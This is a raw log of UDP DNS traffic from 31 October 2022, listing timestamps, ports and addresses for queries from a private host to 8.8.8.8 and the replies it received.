Oct 31, 2022 12:20:03.531409025 CET	53792	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:03.544365883 CET	53	59103	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:03.544835091 CET	53	49537	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:03.551239967 CET	53	53792	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:03.551599026 CET	52362	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:03.571041107 CET	53	52362	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:04.736681938 CET	64558	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:04.764575005 CET	53	64558	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:07.572937965 CET	64363	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:08.410940886 CET	54105	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:08.428462982 CET	53	54105	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:08.631201029 CET	64363	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:08.717516899 CET	59542	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:08.734817028 CET	53	59542	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:08.739022970 CET	63512	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:08.760629892 CET	63166	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:08.768260002 CET	53	63512	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:08.823904991 CET	50352	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:08.928504944 CET	53	50352	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:08.933067083 CET	53	63166	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:08.934240103 CET	64080	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:08.942902088 CET	49351	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:08.951076984 CET	53	64080	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:09.084028959 CET	50273	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:09.088751078 CET	53	49351	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:09.103646994 CET	53	50273	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:09.118729115 CET	57339	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:09.138144016 CET	53	57339	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:09.619935036 CET	64363	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:09.959867954 CET	60954	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:09.987677097 CET	53	60954	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:10.023546934 CET	53	64363	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:10.272981882 CET	59788	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:10.292830944 CET	53	59788	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:10.896310091 CET	54883	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:10.924149990 CET	53	54883	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:11.025542021 CET	53	64363	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:12.057562113 CET	53	64363	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:12.065581083 CET	64666	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:12.085002899 CET	53	64666	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:12.886575937 CET	51897	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:12.906029940 CET	53	51897	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:12.916620970 CET	55205	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:12.933804035 CET	53	55205	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:12.965768099 CET	49822	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:13.019285917 CET	58510	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:13.027805090 CET	53	49822	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:13.036653042 CET	52434	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:13.038321018 CET	53	58510	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:13.043262005 CET	59558	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:13.060771942 CET	53	59558	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:13.064301014 CET	53	52434	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:13.076339960 CET	55932	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:13.095336914 CET	53	55932	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:13.100492954 CET	59918	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:13.120465994 CET	53	59918	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:13.778443098 CET	60716	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:13.797674894 CET	53	60716	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:14.276875973 CET	64315	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:14.304308891 CET	53	64315	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:14.817435980 CET	53014	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:14.837264061 CET	53	53014	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:16.955327034 CET	55582	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:16.974607944 CET	53	55582	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:17.173495054 CET	52846	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:17.192630053 CET	53	52846	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:17.241611958 CET	51803	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:17.269052982 CET	53	51803	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:17.283962965 CET	62641	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:17.287106991 CET	60551	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:17.305959940 CET	53	60551	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:17.395782948 CET	62902	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:17.414840937 CET	53	62902	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:18.155177116 CET	51696	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:18.158607960 CET	63251	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:18.178212881 CET	53	63251	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:18.182599068 CET	53	51696	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:18.334229946 CET	62641	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:19.727583885 CET	53	62641	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:19.861790895 CET	62641	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:19.908241987 CET	55273	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:19.933273077 CET	53	55273	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:19.959898949 CET	52321	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:19.977297068 CET	53	52321	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:20.050826073 CET	50856	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:20.078274012 CET	53	50856	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:20.582519054 CET	62289	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:20.591954947 CET	62092	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:20.598546982 CET	55742	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:20.603826046 CET	53	62289	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:20.618333101 CET	57492	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:20.619468927 CET	53	62092	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:20.625958920 CET	58878	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:20.626015902 CET	53	55742	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:20.668396950 CET	53	57492	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:20.682928085 CET	50140	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:20.704020023 CET	53	50140	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:20.715732098 CET	63718	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:20.735189915 CET	53	63718	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:20.739654064 CET	53	62641	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:20.746400118 CET	58936	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:20.748286963 CET	53	58878	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:20.766274929 CET	53	58936	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:20.782859087 CET	58552	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:21.811270952 CET	53	58552	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:21.819633961 CET	51611	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:21.840506077 CET	53	51611	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:21.849526882 CET	64959	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:21.870857000 CET	53	64959	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:21.876384974 CET	52726	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:21.895915031 CET	53	52726	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:21.903644085 CET	64125	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:21.924860954 CET	53	64125	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:21.932038069 CET	52697	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:21.953535080 CET	53	52697	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:21.962596893 CET	59468	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:21.983959913 CET	53	59468	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:21.990488052 CET	61396	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:22.012202978 CET	53	61396	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:22.019654989 CET	53772	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:22.038518906 CET	53	53772	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:22.047982931 CET	55467	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:22.069189072 CET	53	55467	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:22.082283974 CET	60553	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:22.224658012 CET	53	60553	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:22.312328100 CET	53	62641	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:22.509932041 CET	53935	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:22.529429913 CET	53	53935	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:22.536814928 CET	65004	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:22.556382895 CET	53	65004	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:22.567503929 CET	60426	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:23.556992054 CET	60426	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:23.576241016 CET	53	60426	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:23.584599018 CET	63667	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:23.612473965 CET	53	63667	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:23.619437933 CET	57166	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:23.641105890 CET	53	57166	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:23.649821043 CET	57561	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:23.670958042 CET	53	57561	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:23.681783915 CET	51429	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:23.702410936 CET	53	51429	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:23.708389044 CET	49846	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:23.734560966 CET	53	49846	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:23.762254000 CET	63635	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:23.785126925 CET	53	63635	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:23.796077013 CET	64709	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:23.822482109 CET	53	64709	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:23.832294941 CET	61531	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:23.877979040 CET	53	61531	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:24.282011986 CET	56544	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:24.310184002 CET	53	56544	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:24.319696903 CET	61274	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:24.330312014 CET	57231	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:24.341872931 CET	53	61274	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:24.370866060 CET	53	57231	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:24.616126060 CET	53	60426	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:24.668075085 CET	49185	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:24.688600063 CET	53	49185	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:24.700640917 CET	58571	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:24.729487896 CET	53	58571	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:24.746438026 CET	54253	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:24.762358904 CET	60787	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:24.767769098 CET	53	54253	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:24.774105072 CET	57652	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:24.795397043 CET	53	57652	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:24.809011936 CET	61171	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:24.825824022 CET	53717	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:24.858247042 CET	53	61171	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:24.867727041 CET	53	60787	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:24.870243073 CET	59638	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:24.877846003 CET	65442	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:24.890535116 CET	53	53717	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:24.891844988 CET	53	59638	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:24.914676905 CET	60891	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:24.918056965 CET	62962	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:24.931950092 CET	53	60891	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:24.986237049 CET	53	65442	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:25.060106039 CET	53	62962	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:25.097280979 CET	54980	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:25.114928961 CET	53	54980	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:25.332643032 CET	56084	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:25.353121042 CET	53	56084	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:25.747466087 CET	58157	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:25.804573059 CET	53	58157	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:25.853013039 CET	61310	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:25.874144077 CET	53	61310	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:25.879586935 CET	63647	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:25.907078981 CET	53	63647	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:25.912637949 CET	53696	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:25.932331085 CET	53	53696	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:25.938484907 CET	62961	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:25.960649014 CET	53	62961	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:25.974466085 CET	51554	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:25.994951963 CET	53	51554	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.012295008 CET	61298	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.031770945 CET	53	61298	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.037501097 CET	51791	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.058001041 CET	53	51791	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.064304113 CET	53442	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.085088015 CET	53	53442	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.092005968 CET	57659	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.114320993 CET	53	57659	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.129832983 CET	59552	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.185475111 CET	53	59552	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.196074009 CET	55729	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.217365026 CET	53	55729	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.223217964 CET	63035	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.245270967 CET	53	63035	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.250701904 CET	52419	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.275295019 CET	53	52419	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.284307957 CET	59014	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.305730104 CET	53	59014	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.313159943 CET	64621	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.361273050 CET	53	64621	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.797343016 CET	49647	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.818483114 CET	53	49647	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.824537039 CET	51811	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.845474005 CET	53	51811	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.853929043 CET	56149	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.872903109 CET	53	56149	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.878324986 CET	57165	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.897543907 CET	53	57165	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.904546976 CET	51000	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.952364922 CET	53	51000	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.961189032 CET	49972	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:26.981338978 CET	53	49972	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:26.989284039 CET	50042	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.008774042 CET	53	50042	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.017128944 CET	51381	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.036518097 CET	53	51381	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.047142982 CET	51205	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.064954042 CET	53	51205	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.076276064 CET	52058	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.096303940 CET	53	52058	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.102562904 CET	51973	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.123851061 CET	53	51973	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.131511927 CET	63715	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.152549028 CET	53	63715	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.160049915 CET	55768	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.181356907 CET	53	55768	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.189753056 CET	52553	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.208911896 CET	53	52553	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.214920044 CET	58391	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.240864992 CET	53	58391	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.252044916 CET	64167	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.273906946 CET	53	64167	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.282368898 CET	56280	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.304763079 CET	53	56280	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.311101913 CET	62667	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.330364943 CET	53	62667	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.343485117 CET	54126	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.365537882 CET	53	54126	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.382978916 CET	61295	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.433548927 CET	53	61295	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.863054991 CET	61497	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.882329941 CET	53	61497	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.898001909 CET	58921	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.926512957 CET	53	58921	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.933588982 CET	50110	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:27.981395960 CET	53	50110	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:27.987864017 CET	53626	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.009649038 CET	53	53626	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.017003059 CET	55357	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.038835049 CET	53	55357	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.057358027 CET	60773	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.107579947 CET	53	60773	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.116774082 CET	63567	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.136346102 CET	53	63567	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.144273043 CET	58032	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.165283918 CET	53	58032	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.174186945 CET	56513	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.196288109 CET	53	56513	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.206598997 CET	49912	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.227736950 CET	53	49912	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.235152006 CET	60099	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.254343987 CET	53	60099	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.261465073 CET	50762	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.284475088 CET	53	50762	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.291582108 CET	63106	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.320919037 CET	53	63106	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.326767921 CET	63803	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.345917940 CET	53	63803	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.353323936 CET	56683	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.373734951 CET	53	56683	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.380732059 CET	58419	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.402159929 CET	53	58419	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.417747974 CET	60989	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.530921936 CET	53	60989	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.564848900 CET	57255	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.586307049 CET	53	57255	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.594466925 CET	59746	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.615284920 CET	49336	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.615354061 CET	53	59746	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.625649929 CET	62329	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.643091917 CET	53	49336	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.646786928 CET	53	62329	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.669734955 CET	55709	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.693312883 CET	53	55709	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.699953079 CET	53396	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.721818924 CET	53	53396	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.888300896 CET	56983	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.906975031 CET	53	56983	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.912130117 CET	51377	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.920968056 CET	53744	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.931402922 CET	53	51377	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.940450907 CET	53	53744	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:28.945965052 CET	56683	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:28.963160992 CET	53	56683	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.076754093 CET	57142	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.077570915 CET	60951	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.094135046 CET	53	60951	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.099716902 CET	55449	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.104468107 CET	53	57142	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.119376898 CET	54097	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.123858929 CET	56004	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.125184059 CET	53	55449	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.137989044 CET	53	54097	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.142522097 CET	53	56004	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.146574974 CET	64214	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.153328896 CET	51488	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.166496992 CET	53	64214	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.172072887 CET	53	51488	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.183352947 CET	57813	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.203938961 CET	53	57813	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.209913015 CET	54455	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.231190920 CET	53	54455	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.237251043 CET	52298	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.258038044 CET	53	52298	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.264344931 CET	52557	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.283642054 CET	53	52557	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.289349079 CET	50673	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.311266899 CET	53	50673	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.319571018 CET	57443	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.338527918 CET	53	57443	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.345472097 CET	57758	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.365730047 CET	53	57758	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.371540070 CET	52650	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.392653942 CET	53	52650	8.8.8.8	192.168.2.5
Oct 31, 2022 12:20:29.399259090 CET	62428	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:20:29.425452948 CET	53	62428	8.8.8.8	192.168.2.5
